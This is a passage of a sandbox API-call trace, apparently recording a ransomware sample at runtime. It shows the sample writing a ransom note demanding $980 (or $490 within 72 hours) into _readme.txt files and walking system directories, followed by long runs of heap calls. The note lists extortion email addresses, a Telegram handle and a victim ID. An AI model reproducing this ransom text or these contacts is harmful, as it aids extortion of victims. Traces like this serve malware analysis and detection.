contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-WbgTMF1Jmw\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n111Asd3i74yih3gkdKRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", lpUsedDefaultChar=0x0) returned 1173 [0059.211] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x8a0) returned 0x3132120 [0059.211] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.211] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3100c28 | out: hHeap=0x670000) returned 1 [0059.211] lstrlenA (lpString="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-WbgTMF1Jmw\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n111Asd3i74yih3gkdKRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e") returned 1172 [0059.211] WriteFile (in: hFile=0x5c0, lpBuffer=0x3132120*, nNumberOfBytesToWrite=0x494, lpNumberOfBytesWritten=0x9aafb64, lpOverlapped=0x0 | out: lpBuffer=0x3132120*, lpNumberOfBytesWritten=0x9aafb64*=0x494, lpOverlapped=0x0) returned 1 [0059.212] CloseHandle (hObject=0x5c0) returned 1 [0059.212] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3132120 | out: hHeap=0x670000) returned 1 [0059.213] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c9340 | out: hHeap=0x670000) returned 1 [0059.213] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x312a418 | out: hHeap=0x670000) returned 1 [0059.213] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.213] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.213] FindFirstFileW (in: lpFileName="C:\\Boot\\hu-HU\\*", lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x13b63f50, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13b63f50, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3038588 [0059.213] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.213] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x13b63f50, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13b63f50, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0059.213] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe817e7d8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16240, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0059.213] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13b63f50, ftCreationTime.dwHighDateTime=0x1d53559, ftLastAccessTime.dwLowDateTime=0x13b63f50, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13b63f50, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 1 [0059.213] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13b63f50, ftCreationTime.dwHighDateTime=0x1d53559, ftLastAccessTime.dwLowDateTime=0x13b63f50, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13b63f50, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 0 [0059.213] FindClose (in: hFindFile=0x3038588 | out: hFindFile=0x3038588) returned 1 [0059.213] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.213] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5360 | out: hHeap=0x670000) returned 1 [0059.213] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5360 [0059.213] PeekMessageW (in: lpMsg=0x9aafb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aafb74) returned 0 [0059.213] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.213] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.213] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.213] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.213] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.213] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.213] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.213] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.213] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.214] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.214] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.214] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.214] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.214] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.214] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.214] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.214] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.214] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.214] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.214] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.214] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.214] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0059.214] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.214] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.214] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.214] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.214] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc2e) returned 0x3068dd8 [0059.214] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.214] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.214] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.214] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.214] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.214] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.214] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.214] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.214] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0059.214] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.214] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.214] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.214] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0059.214] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.215] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.215] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.215] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0059.215] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.215] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.215] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.215] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.215] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.215] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.215] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.215] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.215] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.215] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.215] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.215] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0059.215] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.215] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.215] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.215] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0059.215] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.215] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.215] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.215] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.215] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.215] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.215] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.215] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.215] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.215] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.215] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.215] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.215] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.216] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.216] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.216] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.216] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.216] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.216] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.216] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.216] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.216] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.216] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.216] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.216] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.216] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.216] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.216] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.216] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.216] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.216] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.216] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.216] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0059.216] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.216] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.216] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.216] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.216] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.216] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.216] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.216] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.216] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.216] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc2e) returned 0x3068dd8 [0059.216] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.216] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.217] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.217] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.217] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0059.217] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.217] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.217] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.217] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0059.217] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.217] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.217] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.217] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.217] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.217] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.217] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.217] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.217] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.217] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.217] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.217] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.217] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0059.217] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.217] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.217] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.217] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.217] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0059.217] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.217] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.217] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.217] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0059.217] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.217] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.217] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.218] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.218] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.218] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.218] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.218] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.218] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.218] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.218] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.218] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.218] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.218] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.218] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.218] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.218] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.218] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.218] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.218] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.218] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.218] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.218] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.218] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.218] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.218] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.218] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.218] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.218] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.218] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.218] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.218] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.218] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0059.218] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.218] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.219] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.219] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.219] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.219] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.219] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.219] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.219] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0059.219] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.219] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.219] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.219] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0059.219] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.219] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.219] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.219] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.219] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.219] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.219] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.219] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.219] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.219] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.219] RtlAllocateHeap (HeapHandle=0x670000, 